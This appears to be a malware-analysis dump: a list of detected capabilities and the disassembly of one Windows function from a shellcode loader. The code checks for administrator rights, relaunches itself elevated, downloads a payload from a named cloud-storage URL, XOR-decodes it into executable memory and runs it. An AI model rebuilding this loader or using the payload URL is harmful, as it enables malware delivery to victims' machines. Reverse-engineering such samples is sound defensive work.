Function at 0x140001050
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get token membership
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x1413ba008]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rbp - 0x18], 0x500
lea rax, [rsp + 0x60]
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x1c]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x1c], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001102
mov rdx, qword [rsp + 0x60]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp - 0x20]
test eax, eax
cmove ecx, ebx
mov dword [rbp - 0x20], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x20], ebx
jne 0x140001173
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001173
xor edx, edx
mov dword [rsp + 0x70], 0x70
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x6c]
call fcn.140002790
lea rax, [0x14001a550]
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x70]
lea rax, [rbp - 0x10]
mov dword [rbp - 0x60], 1
mov qword [rbp - 0x78], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001348
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x140001348
lea rcx, [0x1413b7290]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400011b9
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [0x1413b7290]
xor ecx, ecx
lea rdx, str.https:__wwwasdqweqwafsfe104_1328290122.cos.ap_shanghai.myqcloud.com_104.txt
call qword [0x1413bbcc8]
test eax, eax
jns 0x1400011b9
mov rcx, qword [0x1413bbcc0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001323
mov ecx, 0x1f4
mov qword [rsp + 0x228], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001a558]
lea rcx, [0x1413b7290]
call fcn.140005cf0
mov rdi, rax
test rax, rax
jne 0x1400011f9
mov rcx, qword [0x1413bbcc0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000131b
xor edx, edx
mov qword [rsp + 0x220], rsi
mov rcx, rdi
mov qword [rsp + 0x230], r14
lea r8d, [rdx + 2]
call fcn.140006128
mov rcx, rdi
call fcn.140005b9c
xor r8d, r8d
movsxd rsi, eax
xor edx, edx
mov rcx, rdi
call fcn.140006128
mov rcx, rsi
call fcn.140006500
mov r14, rax
test rax, rax
jne 0x14000124c
mov rcx, rdi
call fcn.140005e20
jmp 0x1400012fe
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140006438
mov rcx, rdi
call fcn.140005e20
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
je 0x1400012c1
movabs r8, 0x2492492492492493
lea r9, [0x1413b72a0]
nop dword [rax + rax]
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rsi
jb 0x140001290
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.1400036d0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.1400061c4
mov rcx, qword [0x1413bbcc0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x220]
mov r14, qword [rsp + 0x230]
mov rdi, qword [rsp + 0x228]
mov eax, 1
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140001790
mov rbx, qword [rsp + 0x238]
add rsp, 0x210
pop rbp
ret
xor ecx, ecx
call fcn.140005608
int3